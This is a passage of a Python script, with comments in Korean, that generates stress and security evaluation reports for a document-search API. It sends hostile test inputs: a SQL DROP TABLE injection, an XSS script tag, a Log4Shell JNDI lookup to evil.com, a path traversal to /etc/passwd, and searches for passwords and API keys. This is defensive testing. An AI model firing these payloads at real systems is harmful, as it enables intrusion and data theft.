    keys = [g["key"] for g in p["groups"]]
    output.append(f"**B9** `domain + ab` → groups: {keys}, 전체={p['total_documents']}건\n")

    r = await list_documents(category="dovetail", methodology="FGI")
    p = json.loads(r)
    output.append(f"**B10** `dovetail + methodology=\"FGI\"` → **{p['total']}건**\n")
    output.append("**Pass/Fail**: ______\n")

    # --- Type C ---
    output.append("\n---\n\n## Type C: 악의적/스트레스\n")

    # C1: 극단적 파라미터
    output.append("### C1: 극단적 파라미터\n")
    r = await list_documents(limit=99999)
    p = json.loads(r)
    output.append(f"**C1-1** `limit=99999` → **{p['total']}건**\n")
    for tid, kwargs in [("C1-2", dict(limit=-1)), ("C1-3", dict(limit=0))]:
        r = await list_documents(**kwargs)
        p = json.loads(r)
        output.append(f"**{tid}** `limit={list(kwargs.values())[0]}` → {len(p['results'])}건 반환\n")
    r = await list_documents(offset=999999)
    p = json.loads(r)
    output.append(f"**C1-4** `offset=999999` → {p['total']}건\n")
    r = await list_documents(offset=-10)
    p = json.loads(r)
    output.append(f"**C1-5** `offset=-10` → {len(p['results'])}건 반환\n")
    r = await get_documents_batch(doc_ids=["PRD-001"] * 100)
    p = json.loads(r)
    output.append(f"**C1-6** `PRD-001 x 100` → {p['total']}건, 에러 {len(p['errors'])}건\n")
    r = await full_text_search(query="검색", limit=10000)
    p = json.loads(r)
    output.append(f"**C1-7** `fts limit=10000` → {p['total']}건\n")
    output.append("**Pass/Fail**: ______\n")

    # C2: Injection
    output.append("### C2: Injection 시도\n")
    for tid, q in [("C2-1","'; DROP TABLE documents; --"),("C2-2","<script>alert('xss')</script>"),("C2-4","${jndi:ldap://evil.com}")]:
        r = await search_documents(query=q)
        p = json.loads(r)
        output.append(f"**{tid}** `\"{q}\"` → **{p['total']}건**, 정상구조: {'✅' if 'results' in p else '❌'}\n")
    r = await get_document(doc_id="../../../../etc/passwd")
    p = json.loads(r)
    output.append(f"**C2-3** path traversal → {summarize_doc(p)}\n")
    r = await get_document(doc_id="__proto__")
    p = json.loads(r)
    output.append(f"**C2-5** `__proto__` → {summarize_doc(p)}\n")

    # 정상 검색 확인
    normal = await search_documents(query="패키지")
    np_ = json.loads(normal)
    output.append(f"\n✅ injection 후 정상 검색 확인: `query=\"패키지\"` → **{np_['total']}건** (데이터 오염 없음)\n")
    output.append("**Pass/Fail**: ______\n")

    # C3: 빈 값
    output.append("### C3: 빈 값 / null 공격\n")
    r = await get_document(doc_id="")
    p = json.loads(r)
    output.append(f"**C3-1** 빈 doc_id → {summarize_doc(p)}\n")
    r = await search_documents(query="", category="", author="")
    p = json.loads(r)
    output.append(f"**C3-2** 모든 파라미터 빈 문자열 → {p['total']}건\n")
    r = await get_documents_batch(doc_ids=[])
    p = json.loads(r)
    output.append(f"**C3-3** 빈 리스트 batch → {p['total']}건, 에러 {len(p['errors'])}건\n")
    r = await get_documents_batch(doc_ids=["", "", ""])
    p = json.loads(r)
    output.append(f"**C3-4** 빈 문자열 x 3 → 성공 {p['total']}건, 에러 {len(p['errors'])}건\n")
    r = await full_text_search(query="")
    p = json.loads(r)
    output.append(f"**C3-5** 빈 fts → {p['total']}건\n")
    r = await get_statistics(group_by="")
    p = json.loads(r)
    output.append(f"**C3-6** 빈 group_by → {len(p['groups'])}개 그룹\n")
    output.append("**Pass/Fail**: ______\n")

    # C4: 특수문자
    output.append("### C4: 특수문자 / 유니코드\n")
    for tid, q in [("C4-1","🔥🏨💰"),("C4-3","\\n\\r\\t"),("C4-5","\\\\\\\\")]:
        r = await search_documents(query=q)
        p = json.loads(r)
        output.append(f"**{tid}** `\"{q}\"` → {p['total']}건\n")
    r = await get_document(doc_id="PRD-🔥")
    p = json.loads(r)
    output.append(f"**C4-2** `PRD-🔥` → {summarize_doc(p)}\n")
    r = await search_documents(query="가" * 10000)
    p = json.loads(r)
    output.append(f"**C4-4** 1만 글자 → {p['total']}건\n")
    r = await get_document(doc_id="PRD-001\x00")
    p = json.loads(r)
    has_error = "error" in p
    output.append(f"**C4-6** null byte → error: {has_error}")
    normal = await get_document(doc_id="PRD-001")
    np_ = json.loads(normal)
    output.append(f", 정상 PRD-001: {'✅' if 'error' not in np_ else '❌'}\n")
    output.append("**Pass/Fail**: ______\n")

    # C5: 대량 추출
    output.append("### C5: 대량 추출 시도\n")
    total_all = 0
    for cat in ("prd", "ac", "ab", "research", "nng", "baymard", "dovetail"):
        r = await list_documents(category=cat, limit=10)
        p = json.loads(r)
        total_all += p["total"]
        output.append(f"- {cat}: {p['total']}건\n")
    output.append(f"\n**C5-1** 7개 카테고리 합계: **{total_all}건**\n")

    ids = [f"PRD-{i:03d}" for i in range(1, 21)]
    r = await get_documents_batch(doc_ids=ids, fields="full")
    p = json.loads(r)
    output.append(f"**C5-2** PRD 20개 batch full → {p['total']}건, 모두 content 포함: {'✅' if all('content' in d for d in p['results']) else '❌'}\n")
    output.append("**Pass/Fail**: ______\n")

    # C6: 민감 정보
    output.append("### C6: 민감 정보 탐색\n")
    for tid, q in [("C6-1","비밀번호"),("C6-2","전화번호"),("C6-3","연봉"),("C6-4","API key"),("C6-5","password"),("C6-6","인사평가")]:
        r = await full_text_search(query=q)
        p = json.loads(r)
        output.append(f"**{tid}** `\"{q}\"` → **{p['total']}건**")
        if p["total"] > 0:
            output.append(f" — 첫 snippet: _{p['results'][0].get('snippet','')[:60]}_")
        output.append("\n")
    output.append("**Pass/Fail**: ______\n")

    return "\n".join(output)


async def main():
    print("Use Case 평가 파일 생성 중...")
    usecase = await generate_usecase_evaluation()
    with open("docs/usecase-evaluation.md", "w") as f:
        f.write(usecase)
    print(f"✅ docs/usecase-evaluation.md ({len(usecase)} bytes)")

    print("Anti-Persona 평가 파일 생성 중...")
    anti = await generate_anti_persona_evaluation()
    with open("docs/anti-persona-evaluation.md", "w") as f:
        f.write(anti)
    print(f"✅ docs/anti-persona-evaluation.md ({len(anti)} bytes)")


if __name__ == "__main__":
    asyncio.run(main())